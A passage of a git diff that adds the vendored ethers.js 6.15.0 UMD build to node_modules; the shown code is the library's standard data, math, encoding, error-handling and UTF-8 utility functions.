ransactionDescription:TransactionDescription,TransactionReceipt:TransactionReceipt,TransactionResponse:TransactionResponse,Typed:Typed,TypedDataEncoder:TypedDataEncoder,UndecodedEventLog:UndecodedEventLog,UnmanagedSubscriber:UnmanagedSubscriber,Utf8ErrorFuncs:Utf8ErrorFuncs,VoidSigner:VoidSigner,Wallet:Wallet,WebSocketProvider:WebSocketProvider,WeiPerEther:WeiPerEther,Wordlist:Wordlist,WordlistOwl:WordlistOwl,WordlistOwlA:WordlistOwlA,ZeroAddress:ZeroAddress,ZeroHash:ZeroHash,accessListify:accessListify,assert:assert,assertArgument:assertArgument,assertArgumentCount:assertArgumentCount,assertNormalize:assertNormalize,assertPrivate:assertPrivate,authorizationify:authorizationify,checkResultErrors:checkResultErrors,computeAddress:computeAddress,computeHmac:computeHmac,concat:concat,copyRequest:copyRequest,dataLength:dataLength,dataSlice:dataSlice,decodeBase58:decodeBase58,decodeBase64:decodeBase64,decodeBytes32String:decodeBytes32String,decodeRlp:decodeRlp,decryptCrowdsaleJson:decryptCrowdsaleJson,decryptKeystoreJson:decryptKeystoreJson,decryptKeystoreJsonSync:decryptKeystoreJsonSync,defaultPath:defaultPath,defineProperties:defineProperties,dnsEncode:dnsEncode,encodeBase58:encodeBase58,encodeBase64:encodeBase64,encodeBytes32String:encodeBytes32String,encodeRlp:encodeRlp,encryptKeystoreJson:encryptKeystoreJson,encryptKeystoreJsonSync:encryptKeystoreJsonSync,ensNormalize:ensNormalize,formatEther:formatEther,formatUnits:formatUnits,fromTwos:fromTwos,getAccountPath:getAccountPath,getAddress:getAddress,getBigInt:getBigInt,getBytes:getBytes,getBytesCopy:getBytesCopy,getCreate2Address:getCreate2Address,getCreateAddress:getCreateAddress,getDefaultProvider:getDefaultProvider,getIcapAddress:getIcapAddress,getIndexedAccountPath:getIndexedAccountPath,getNumber:getNumber,getUint:getUint,hashAuthorization:hashAuthorization,hashMessage:hashMessage,hexlify:hexlify,id:id,isAddress:isAddress,isAddressable:isAddressable,isBytesLike:isBytesLike,isCallException:isCallException,isCrowdsaleJson:isCrowdsaleJson,isError:isError,isHexString:isHexString,isKeystoreJson:isKeystoreJson,isValidName:isValidName,keccak256:keccak256,lock:lock,makeError:makeError,mask:mask,namehash:namehash,parseEther:parseEther,parseUnits:parseUnits$1,pbkdf2:pbkdf2,randomBytes:randomBytes,recoverAddress:recoverAddress,resolveAddress:resolveAddress,resolveProperties:resolveProperties,ripemd160:ripemd160,scrypt:scrypt,scryptSync:scryptSync,sha256:sha256,sha512:sha512,showThrottleMessage:showThrottleMessage,solidityPacked:solidityPacked,solidityPackedKeccak256:solidityPackedKeccak256,solidityPackedSha256:solidityPackedSha256,stripZerosLeft:stripZerosLeft,toBeArray:toBeArray,toBeHex:toBeHex,toBigInt:toBigInt,toNumber:toNumber,toQuantity:toQuantity,toTwos:toTwos,toUtf8Bytes:toUtf8Bytes,toUtf8CodePoints:toUtf8CodePoints,toUtf8String:toUtf8String,uuidV4:uuidV4,verifyAuthorization:verifyAuthorization,verifyMessage:verifyMessage,verifyTypedData:verifyTypedData,version:version,wordlists:wordlists,zeroPadBytes:zeroPadBytes,zeroPadValue:zeroPadValue});export{AbiCoder,AbstractProvider,AbstractSigner,AlchemyProvider,AnkrProvider,BaseContract,BaseWallet,Block,BlockscoutProvider,BrowserProvider,ChainstackProvider,CloudflareProvider,ConstructorFragment,Contract,ContractEventPayload,ContractFactory,ContractTransactionReceipt,ContractTransactionResponse,ContractUnknownEventPayload,EnsPlugin,EnsResolver,ErrorDescription,ErrorFragment,EtherSymbol,EtherscanPlugin,EtherscanProvider,EventFragment,EventLog,EventPayload,FallbackFragment,FallbackProvider,FeeData,FeeDataNetworkPlugin,FetchCancelSignal,FetchRequest,FetchResponse,FetchUrlFeeDataNetworkPlugin,FixedNumber,Fragment,FunctionFragment,GasCostPlugin,HDNodeVoidWallet,HDNodeWallet,Indexed,InfuraProvider,InfuraWebSocketProvider,Interface,IpcSocketProvider,JsonRpcApiProvider,JsonRpcProvider,JsonRpcSigner,LangEn,Log,LogDescription,MaxInt256,MaxUint256,MessagePrefix,MinInt256,Mnemonic,MulticoinProviderPlugin,N$1 as N,NamedFragment,Network,NetworkPlugin,NonceManager,ParamType,PocketProvider,QuickNodeProvider,Result,Signature,SigningKey,SocketBlockSubscriber,SocketEventSubscriber,SocketPendingSubscriber,SocketProvider,SocketSubscriber,StructFragment,Transaction,TransactionDescription,TransactionReceipt,TransactionResponse,Typed,TypedDataEncoder,UndecodedEventLog,UnmanagedSubscriber,Utf8ErrorFuncs,VoidSigner,Wallet,WebSocketProvider,WeiPerEther,Wordlist,WordlistOwl,WordlistOwlA,ZeroAddress,ZeroHash,accessListify,assert,assertArgument,assertArgumentCount,assertNormalize,assertPrivate,authorizationify,checkResultErrors,computeAddress,computeHmac,concat,copyRequest,dataLength,dataSlice,decodeBase58,decodeBase64,decodeBytes32String,decodeRlp,decryptCrowdsaleJson,decryptKeystoreJson,decryptKeystoreJsonSync,defaultPath,defineProperties,dnsEncode,encodeBase58,encodeBase64,encodeBytes32String,encodeRlp,encryptKeystoreJson,encryptKeystoreJsonSync,ensNormalize,ethers,formatEther,formatUnits,fromTwos,getAccountPath,getAddress,getBigInt,getBytes,getBytesCopy,getCreate2Address,getCreateAddress,getDefaultProvider,getIcapAddress,getIndexedAccountPath,getNumber,getUint,hashAuthorization,hashMessage,hexlify,id,isAddress,isAddressable,isBytesLike,isCallException,isCrowdsaleJson,isError,isHexString,isKeystoreJson,isValidName,keccak256,lock,makeError,mask,namehash,parseEther,parseUnits$1 as parseUnits,pbkdf2,randomBytes,recoverAddress,resolveAddress,resolveProperties,ripemd160,scrypt,scryptSync,sha256,sha512,showThrottleMessage,solidityPacked,solidityPackedKeccak256,solidityPackedSha256,stripZerosLeft,toBeArray,toBeHex,toBigInt,toNumber,toQuantity,toTwos,toUtf8Bytes,toUtf8CodePoints,toUtf8String,uuidV4,verifyAuthorization,verifyMessage,verifyTypedData,version,wordlists,zeroPadBytes,zeroPadValue}; \ No newline at end of file diff --git a/node_modules/ethers/dist/ethers.umd.js b/node_modules/ethers/dist/ethers.umd.js new file mode 100644 index 000000000000..9cec085ed8f2 --- /dev/null +++ b/node_modules/ethers/dist/ethers.umd.js @@ -0,0 +1,26495 @@ +const __$G = (typeof globalThis !== 'undefined' ? globalThis: typeof window !== 'undefined' ? window: typeof global !== 'undefined' ? global: typeof self !== 'undefined' ? self: {}); +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.ethers = {})); +})(this, (function (exports) { 'use strict'; + + /* Do NOT modify this file; see /src.ts/_admin/update-version.ts */ + /** + * The current version of Ethers. + */ + const version = "6.15.0"; + + /** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ + function checkType(value, type, name) { + const types = type.split("|").map(t => t.trim()); + for (let i = 0; i < types.length; i++) { + switch (type) { + case "any": + return; + case "bigint": + case "boolean": + case "number": + case "string": + if (typeof (value) === type) { + return; + } + } + } + const error = new Error(`invalid value for type ${type}`); + error.code = "INVALID_ARGUMENT"; + error.argument = `value.${name}`; + error.value = value; + throw error; + } + /** + * Resolves to a new object that is a copy of %%value%%, but with all + * values resolved. + */ + async function resolveProperties(value) { + const keys = Object.keys(value); + const results = await Promise.all(keys.map((k) => Promise.resolve(value[k]))); + return results.reduce((accum, v, index) => { + accum[keys[index]] = v; + return accum; + }, {}); + } + /** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ + function defineProperties(target, values, types) { + for (let key in values) { + let value = values[key]; + const type = (types ? types[key] : null); + if (type) { + checkType(value, type, key); + } + Object.defineProperty(target, key, { enumerable: true, value, writable: false }); + } + } + + /** + * All errors in ethers include properties to ensure they are both + * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``). + * + * The [[isError]] function can be used to check the error ``code`` and + * provide a type guard for the properties present on that error interface. + * + * @_section: api/utils/errors:Errors [about-errors] + */ + function stringify$1(value, seen) { + if (value == null) { + return "null"; + } + if (seen == null) { + seen = new Set(); + } + if (typeof (value) === "object") { + if (seen.has(value)) { + return "[Circular]"; + } + seen.add(value); + } + if (Array.isArray(value)) { + return "[ " + (value.map((v) => stringify$1(v, seen))).join(", ") + " ]"; + } + if (value instanceof Uint8Array) { + const HEX = "0123456789abcdef"; + let result = "0x"; + for (let i = 0; i < value.length; i++) { + result += HEX[value[i] >> 4]; + result += HEX[value[i] & 0xf]; + } + return result; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return stringify$1(value.toJSON(), seen); + } + switch (typeof (value)) { + case "boolean": + case "number": + case "symbol": + return value.toString(); + case "bigint": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{ " + keys.map((k) => `${stringify$1(k, seen)}: ${stringify$1(value[k], seen)}`).join(", ") + " }"; + } + } + return `[ COULD NOT SERIALIZE ]`; + } + /** + * Returns true if the %%error%% matches an error thrown by ethers + * that matches the error %%code%%. + * + * In TypeScript environments, this can be used to check that %%error%% + * matches an EthersError type, which means the expected properties will + * be set. + * + * @See [ErrorCodes](api:ErrorCode) + * @example + * try { + * // code.... + * } catch (e) { + * if (isError(e, "CALL_EXCEPTION")) { + * // The Type Guard has validated this object + * console.log(e.data); + * } + * } + */ + function isError(error, code) { + return (error && error.code === code); + } + /** + * Returns true if %%error%% is a [[CallExceptionError]. + */ + function isCallException(error) { + return isError(error, "CALL_EXCEPTION"); + } + /** + * Returns a new Error configured to the format ethers emits errors, with + * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties + * for the corresponding EthersError. + * + * Each error in ethers includes the version of ethers, a + * machine-readable [[ErrorCode]], and depending on %%code%%, additional + * required properties. The error message will also include the %%message%%, + * ethers version, %%code%% and all additional properties, serialized. + */ + function makeError(message, code, info) { + let shortMessage = message; + { + const details = []; + if (info) { + if ("message" in info || "code" in info || "name" in info) { + throw new Error(`value will overwrite populated values: ${stringify$1(info)}`); + } + for (const key in info) { + if (key === "shortMessage") { + continue; + } + const value = (info[key]); + // try { + details.push(key + "=" + stringify$1(value)); + // } catch (error: any) { + // console.log("MMM", error.message); + // details.push(key + "=[could not serialize object]"); + // } + } + } + details.push(`code=${code}`); + details.push(`version=${version}`); + if (details.length) { + message += " (" + details.join(", ") + ")"; + } + } + let error; + switch (code) { + case "INVALID_ARGUMENT": + error = new TypeError(message); + break; + case "NUMERIC_FAULT": + case "BUFFER_OVERRUN": + error = new RangeError(message); + break; + default: + error = new Error(message); + } + defineProperties(error, { code }); + if (info) { + Object.assign(error, info); + } + if (error.shortMessage == null) { + defineProperties(error, { shortMessage }); + } + return error; + } + /** + * Throws an EthersError with %%message%%, %%code%% and additional error + * %%info%% when %%check%% is falsish.. + * + * @see [[api:makeError]] + */ + function assert(check, message, code, info) { + if (!check) { + throw makeError(message, code, info); + } + } + /** + * A simple helper to simply ensuring provided arguments match expected + * constraints, throwing if not. + * + * In TypeScript environments, the %%check%% has been asserted true, so + * any further code does not need additional compile-time checks. + */ + function assertArgument(check, message, name, value) { + assert(check, message, "INVALID_ARGUMENT", { argument: name, value: value }); + } + function assertArgumentCount(count, expectedCount, message) { + if (message == null) { + message = ""; + } + if (message) { + message = ": " + message; + } + assert(count >= expectedCount, "missing argument" + message, "MISSING_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); + assert(count <= expectedCount, "too many arguments" + message, "UNEXPECTED_ARGUMENT", { + count: count, + expectedCount: expectedCount + }); + } + const _normalizeForms = ["NFD", "NFC", "NFKD", "NFKC"].reduce((accum, form) => { + try { + // General test for normalize + /* c8 ignore start */ + if ("test".normalize(form) !== "test") { + throw new Error("bad"); + } + ; + /* c8 ignore stop */ + if (form === "NFD") { + const check = String.fromCharCode(0xe9).normalize("NFD"); + const expected = String.fromCharCode(0x65, 0x0301); + /* c8 ignore start */ + if (check !== expected) { + throw new Error("broken"); + } + /* c8 ignore stop */ + } + accum.push(form); + } + catch (error) { } + return accum; + }, []); + /** + * Throws if the normalization %%form%% is not supported. + */ + function assertNormalize(form) { + assert(_normalizeForms.indexOf(form) >= 0, "platform missing String.prototype.normalize", "UNSUPPORTED_OPERATION", { + operation: "String.prototype.normalize", info: { form } + }); + } + /** + * Many classes use file-scoped values to guard the constructor, + * making it effectively private. This facilitates that pattern + * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%, + * throwing if not, indicating the %%className%% if provided. + */ + function assertPrivate(givenGuard, guard, className) { + if (className == null) { + className = ""; + } + if (givenGuard !== guard) { + let method = className, operation = "new"; + if (className) { + method += "."; + operation += " " + className; + } + assert(false, `private constructor; use ${method}from* methods`, "UNSUPPORTED_OPERATION", { + operation + }); + } + } + + /** + * Some data helpers. + * + * + * @_subsection api/utils:Data Helpers [about-data] + */ + function _getBytes(value, name, copy) { + if (value instanceof Uint8Array) { + if (copy) { + return new Uint8Array(value); + } + return value; + } + if (typeof (value) === "string" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) { + const result = new Uint8Array((value.length - 2) / 2); + let offset = 2; + for (let i = 0; i < result.length; i++) { + result[i] = parseInt(value.substring(offset, offset + 2), 16); + offset += 2; + } + return result; + } + assertArgument(false, "invalid BytesLike value", name || "value", value); + } + /** + * Get a typed Uint8Array for %%value%%. If already a Uint8Array + * the original %%value%% is returned; if a copy is required use + * [[getBytesCopy]]. + * + * @see: getBytesCopy + */ + function getBytes(value, name) { + return _getBytes(value, name, false); + } + /** + * Get a typed Uint8Array for %%value%%, creating a copy if necessary + * to prevent any modifications of the returned value from being + * reflected elsewhere. + * + * @see: getBytes + */ + function getBytesCopy(value, name) { + return _getBytes(value, name, true); + } + /** + * Returns true if %%value%% is a valid [[HexString]]. + * + * If %%length%% is ``true`` or a //number//, it also checks that + * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//) + * bytes of data (e.g. ``0x1234`` is 2 bytes). + */ + function isHexString(value, length) { + if (typeof (value) !== "string" || !value.match(/^0x[0-9A-Fa-f]*$/)) { + return false; + } + if (typeof (length) === "number" && value.length !== 2 + 2 * length) { + return false; + } + if (length === true && (value.length % 2) !== 0) { + return false; + } + return true; + } + /** + * Returns true if %%value%% is a valid representation of arbitrary + * data (i.e. a valid [[DataHexString]] or a Uint8Array). + */ + function isBytesLike(value) { + return (isHexString(value, true) || (value instanceof Uint8Array)); + } + const HexCharacters = "0123456789abcdef"; + /** + * Returns a [[DataHexString]] representation of %%data%%. + */ + function hexlify(data) { + const bytes = getBytes(data); + let result = "0x"; + for (let i = 0; i < bytes.length; i++) { + const v = bytes[i]; + result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f]; + } + return result; + } + /** + * Returns a [[DataHexString]] by concatenating all values + * within %%data%%. + */ + function concat(datas) { + return "0x" + datas.map((d) => hexlify(d).substring(2)).join(""); + } + /** + * Returns the length of %%data%%, in bytes. + */ + function dataLength(data) { + if (isHexString(data, true)) { + return (data.length - 2) / 2; + } + return getBytes(data).length; + } + /** + * Returns a [[DataHexString]] by slicing %%data%% from the %%start%% + * offset to the %%end%% offset. + * + * By default %%start%% is 0 and %%end%% is the length of %%data%%. + */ + function dataSlice(data, start, end) { + const bytes = getBytes(data); + if (end != null && end > bytes.length) { + assert(false, "cannot slice beyond data bounds", "BUFFER_OVERRUN", { + buffer: bytes, length: bytes.length, offset: end + }); + } + return hexlify(bytes.slice((start == null) ? 0 : start, (end == null) ? bytes.length : end)); + } + /** + * Return the [[DataHexString]] result by stripping all **leading** + ** zero bytes from %%data%%. + */ + function stripZerosLeft(data) { + let bytes = hexlify(data).substring(2); + while (bytes.startsWith("00")) { + bytes = bytes.substring(2); + } + return "0x" + bytes; + } + function zeroPad(data, length, left) { + const bytes = getBytes(data); + assert(length >= bytes.length, "padding exceeds data length", "BUFFER_OVERRUN", { + buffer: new Uint8Array(bytes), + length: length, + offset: length + 1 + }); + const result = new Uint8Array(length); + result.fill(0); + if (left) { + result.set(bytes, length - bytes.length); + } + else { + result.set(bytes, 0); + } + return hexlify(result); + } + /** + * Return the [[DataHexString]] of %%data%% padded on the **left** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **values** are in Solidity + * (e.g. ``uint128``). + */ + function zeroPadValue(data, length) { + return zeroPad(data, length, true); + } + /** + * Return the [[DataHexString]] of %%data%% padded on the **right** + * to %%length%% bytes. + * + * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is + * thrown. + * + * This pads data the same as **bytes** are in Solidity + * (e.g. ``bytes16``). + */ + function zeroPadBytes(data, length) { + return zeroPad(data, length, false); + } + + /** + * Some mathematic operations. + * + * @_subsection: api/utils:Math Helpers [about-maths] + */ + const BN_0$a = BigInt(0); + const BN_1$5 = BigInt(1); + //const BN_Max256 = (BN_1 << BigInt(256)) - BN_1; + // IEEE 754 support 53-bits of mantissa + const maxValue = 0x1fffffffffffff; + /** + * Convert %%value%% from a twos-compliment representation of %%width%% + * bits to its value. + * + * If the highest bit is ``1``, the result will be negative. + */ + function fromTwos(_value, _width) { + const value = getUint(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + assert((value >> width) === BN_0$a, "overflow", "NUMERIC_FAULT", { + operation: "fromTwos", fault: "overflow", value: _value + }); + // Top bit set; treat as a negative value + if (value >> (width - BN_1$5)) { + const mask = (BN_1$5 << width) - BN_1$5; + return -(((~value) & mask) + BN_1$5); + } + return value; + } + /** + * Convert %%value%% to a twos-compliment representation of + * %%width%% bits. + * + * The result will always be positive. + */ + function toTwos(_value, _width) { + let value = getBigInt(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + const limit = (BN_1$5 << (width - BN_1$5)); + if (value < BN_0$a) { + value = -value; + assert(value <= limit, "too low", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + const mask = (BN_1$5 << width) - BN_1$5; + return ((~value) & mask) + BN_1$5; + } + else { + assert(value < limit, "too high", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + } + return value; + } + /** + * Mask %%value%% with a bitmask of %%bits%% ones. + */ + function mask(_value, _bits) { + const value = getUint(_value, "value"); + const bits = BigInt(getNumber(_bits, "bits")); + return value & ((BN_1$5 << bits) - BN_1$5); + } + /** + * Gets a BigInt from %%value%%. If it is an invalid value for + * a BigInt, then an ArgumentError will be thrown for %%name%%. + */ + function getBigInt(value, name) { + switch (typeof (value)) { + case "bigint": return value; + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return BigInt(value); + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + if (value[0] === "-" && value[1] !== "-") { + return -BigInt(value.substring(1)); + } + return BigInt(value); + } + catch (e) { + assertArgument(false, `invalid BigNumberish string: ${e.message}`, name || "value", value); + } + } + assertArgument(false, "invalid BigNumberish value", name || "value", value); + } + /** + * Returns %%value%% as a bigint, validating it is valid as a bigint + * value and that it is positive. + */ + function getUint(value, name) { + const result = getBigInt(value, name); + assert(result >= BN_0$a, "unsigned value cannot be negative", "NUMERIC_FAULT", { + fault: "overflow", operation: "getUint", value + }); + return result; + } + const Nibbles$1 = "0123456789abcdef"; + /* + * Converts %%value%% to a BigInt. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. + */ + function toBigInt(value) { + if (value instanceof Uint8Array) { + let result = "0x0"; + for (const v of value) { + result += Nibbles$1[v >> 4]; + result += Nibbles$1[v & 0x0f]; + } + return BigInt(result); + } + return getBigInt(value); + } + /** + * Gets a //number// from %%value%%. If it is an invalid value for + * a //number//, then an ArgumentError will be thrown for %%name%%. + */ + function getNumber(value, name) { + switch (typeof (value)) { + case "bigint": + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return Number(value); + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return value; + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + return getNumber(BigInt(value), name); + } + catch (e) { + assertArgument(false, `invalid numeric string: ${e.message}`, name || "value", value); + } + } + assertArgument(false, "invalid numeric value", name || "value", value); + } + /** + * Converts %%value%% to a number. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. Throws if the value is not safe. + */ + function toNumber(value) { + return getNumber(toBigInt(value)); + } + /** + * Converts %%value%% to a Big Endian hexstring, optionally padded to + * %%width%% bytes. + */ + function toBeHex(_value, _width) { + const value = getUint(_value, "value"); + let result = value.toString(16); + if (_width == null) { + // Ensure the value is of even length + if (result.length % 2) { + result = "0" + result; + } + } + else { + const width = getNumber(_width, "width"); + assert(width * 2 >= result.length, `value exceeds width (${width} bytes)`, "NUMERIC_FAULT", { + operation: "toBeHex", + fault: "overflow", + value: _value + }); + // Pad the value to the required width + while (result.length < (width * 2)) { + result = "0" + result; + } + } + return "0x" + result; + } + /** + * Converts %%value%% to a Big Endian Uint8Array. + */ + function toBeArray(_value) { + const value = getUint(_value, "value"); + if (value === BN_0$a) { + return new Uint8Array([]); + } + let hex = value.toString(16); + if (hex.length % 2) { + hex = "0" + hex; + } + const result = new Uint8Array(hex.length / 2); + for (let i = 0; i < result.length; i++) { + const offset = i * 2; + result[i] = parseInt(hex.substring(offset, offset + 2), 16); + } + return result; + } + /** + * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//. + * + * A //Quantity// does not have and leading 0 values unless the value is + * the literal value `0x0`. This is most commonly used for JSSON-RPC + * numeric values. + */ + function toQuantity(value) { + let result = hexlify(isBytesLike(value) ? value : toBeArray(value)).substring(2); + while (result.startsWith("0")) { + result = result.substring(1); + } + if (result === "") { + result = "0"; + } + return "0x" + result; + } + + /** + * The [Base58 Encoding](link-base58) scheme allows a **numeric** value + * to be encoded as a compact string using a radix of 58 using only + * alpha-numeric characters. Confusingly similar characters are omitted + * (i.e. ``"l0O"``). + * + * Note that Base58 encodes a **numeric** value, not arbitrary bytes, + * since any zero-bytes on the left would get removed. To mitigate this + * issue most schemes that use Base58 choose specific high-order values + * to ensure non-zero prefixes. + * + * @_subsection: api/utils:Base58 Encoding [about-base58] + */ + const Alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; + let Lookup = null; + function getAlpha(letter) { + if (Lookup == null) { + Lookup = {}; + for (let i = 0; i < Alphabet.length; i++) { + Lookup[Alphabet[i]] = BigInt(i); + } + } + const result = Lookup[letter]; + assertArgument(result != null, `invalid base58 value`, "letter", letter); + return result; + } + const BN_0$9 = BigInt(0); + const BN_58 = BigInt(58); + /** + * Encode %%value%% as a Base58-encoded string. + */ + function encodeBase58(_value) { + const bytes = getBytes(_value); + let value = toBigInt(bytes); + let result = ""; + while (value) { + result = Alphabet[Number(value % BN_58)] + result; + value /= BN_58; + } + // Account for leading padding zeros + for (let i = 0; i < bytes.length; i++) { + if (bytes[i]) { + break; + } + result = Alphabet[0] + result; + } + return result; + } + /** + * Decode the Base58-encoded %%value%%. + */ + function decodeBase58(value) { + let result = BN_0$9; + for (let i = 0; i < value.length; i++) { + result *= BN_58; + result += getAlpha(value[i]); + } + return result; + } + + // utils/base64-browser + function decodeBase64(textData) { + textData = atob(textData); + const data = new Uint8Array(textData.length); + for (let i = 0; i < textData.length; i++) { + data[i] = textData.charCodeAt(i); + } + return getBytes(data); + } + function encodeBase64(_data) { + const data = getBytes(_data); + let textData = ""; + for (let i = 0; i < data.length; i++) { + textData += String.fromCharCode(data[i]); + } + return btoa(textData); + } + + /** + * Events allow for applications to use the observer pattern, which + * allows subscribing and publishing events, outside the normal + * execution paths. + * + * @_section api/utils/events:Events [about-events] + */ + /** + * When an [[EventEmitterable]] triggers a [[Listener]], the + * callback always ahas one additional argument passed, which is + * an **EventPayload**. + */ + class EventPayload { + /** + * The event filter. + */ + filter; + /** + * The **EventEmitterable**. + */ + emitter; + #listener; + /** + * Create a new **EventPayload** for %%emitter%% with + * the %%listener%% and for %%filter%%. + */ + constructor(emitter, listener, filter) { + this.#listener = listener; + defineProperties(this, { emitter, filter }); + } + /** + * Unregister the triggered listener for future events. + */ + async removeListener() { + if (this.#listener == null) { + return; + } + await this.emitter.off(this.filter, this.#listener); + } + } + + /** + * Using strings in Ethereum (or any security-basd system) requires + * additional care. These utilities attempt to mitigate some of the + * safety issues as well as provide the ability to recover and analyse + * strings. + * + * @_subsection api/utils:Strings and UTF-8 [about-strings] + */ + function errorFunc(reason, offset, bytes, output, badCodepoint) { + assertArgument(false, `invalid codepoint at offset ${offset}; ${reason}`, "bytes", bytes); + } + function ignoreFunc(reason, offset, bytes, output, badCodepoint) { + // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes + if (reason === "BAD_PREFIX" || reason === "UNEXPECTED_CONTINUE") { + let i = 0; + for (let o = offset + 1; o < bytes.length; o++) { + if (bytes[o] >> 6 !== 0x02) { + break; + } + i++; + } + return i; + } + // This byte runs us past the end of the string, so just jump to the end + // (but the first byte was read already read and therefore skipped) + if (reason === "OVERRUN") { + return bytes.length - offset - 1; + } + // Nothing to skip + return 0; + } + function replaceFunc(reason, offset, bytes, output, badCodepoint) { + // Overlong representations are otherwise "valid" code points; just non-deistingtished + if (reason === "OVERLONG") { + assertArgument(typeof (badCodepoint) === "number", "invalid bad code point for replacement", "badCodepoint", badCodepoint); + output.push(badCodepoint); + return 0; + } + // Put the replacement character into the output + output.push(0xfffd); + // Otherwise, process as if ignoring errors + return ignoreFunc(reason, offset, bytes); + } + /** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ + const Utf8ErrorFuncs = Object.freeze({ + error: errorFunc, + ignore: ignoreFunc, + replace: replaceFunc + }); + // http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499 + function getUtf8CodePoints(_bytes, onError) { + if (onError == null) { + onError = Utf8ErrorFuncs.error; + } + const bytes = getBytes(_bytes, "bytes"); + const result = []; + let i = 0; + // Invalid bytes are ignored + while (i < bytes.length) { + const c = bytes[i++]; + // 0xxx xxxx + if (c >> 7 === 0) { + result.push(c); + continue; + } + // Multibyte; how many bytes left for this character? + let extraLength = null; + let overlongMask = null; + // 110x xxxx 10xx xxxx + if ((c & 0xe0) === 0xc0) { + extraLength = 1; + overlongMask = 0x7f; + // 1110 xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf0) === 0xe0) { + extraLength = 2; + overlongMask = 0x7ff; + // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf8) === 0xf0) { + extraLength = 3; + overlongMask = 0xffff; + } + else { + if ((c & 0xc0) === 0x80) { + i += onError("UNEXPECTED_CONTINUE", i - 1, bytes, result); + } + else { + i += onError("BAD_PREFIX", i - 1, bytes, result); + } + continue; + } + // Do we have enough bytes in our data? + if (i - 1 + extraLength >= bytes.length) { + i += onError("OVERRUN", i - 1, bytes, result); + continue; + } + // Remove the length prefix from the char + let res = c & ((1 << (8 - extraLength - 1)) - 1); + for (let j = 0; j < extraLength; j++) { + let nextChar = bytes[i]; + // Invalid continuation byte + if ((nextChar & 0xc0) != 0x80) { + i += onError("MISSING_CONTINUE", i, bytes, result); + res = null; + break; + } + res = (res << 6) | (nextChar & 0x3f); + i++; + } + // See above loop for invalid continuation byte + if (res === null) { + continue; + } + // Maximum code point + if (res > 0x10ffff) { + i += onError("OUT_OF_RANGE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Reserved for UTF-16 surrogate halves + if (res >= 0xd800 && res <= 0xdfff) { + i += onError("UTF16_SURROGATE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Check for overlong sequences (more bytes than needed) + if (res <= overlongMask) { + i += onError("OVERLONG", i - 1 - extraLength, bytes, result, res); + continue; + } + result.push(res); + } + return result; + } + // http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array + /** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ + function toUtf8Bytes(str, form) { + assertArgument(typeof (str) === "string", "invalid string value", "str", str); + if (form != null) { + assertNormalize(form); + str = str.normalize(form); + } + let result = []; + for (let i = 0; i < str.length; i++) { + const c = str.charCodeAt(i); + if (c < 0x80) { + result.push(c); + } + else if (c < 0x800) { + result.push((c >> 6) | 0xc0); + result.push((c & 0x3f) | 0x80); + } + else if ((c & 0xfc00) == 0xd800) { + i++; + const c2 = str.charCodeAt(i); + assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), "invalid surrogate pair", "str", str); + // Surrogate Pair + const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff); + result.push((pair >> 18) | 0xf0); + result.push(((pair >> 12) & 0x3f) | 0x80); + result.push(((pair >> 6) & 0x3f) | 0x80); + result.push((pair & 0x3f) | 0x80); + } + else { + result.push((c >> 12) | 0xe0); + result.push(((c >> 6) & 0x3f) | 0x80); + result.push((c & 0x3f) | 0x80); + } + } + return new Uint8Array(result); + } + //export + function _toUtf8String(codePoints) { + return codePoints.map((codePoint) => { + if (codePoint <= 0xffff) { + return String.fromCharCode(codePoint); + } + 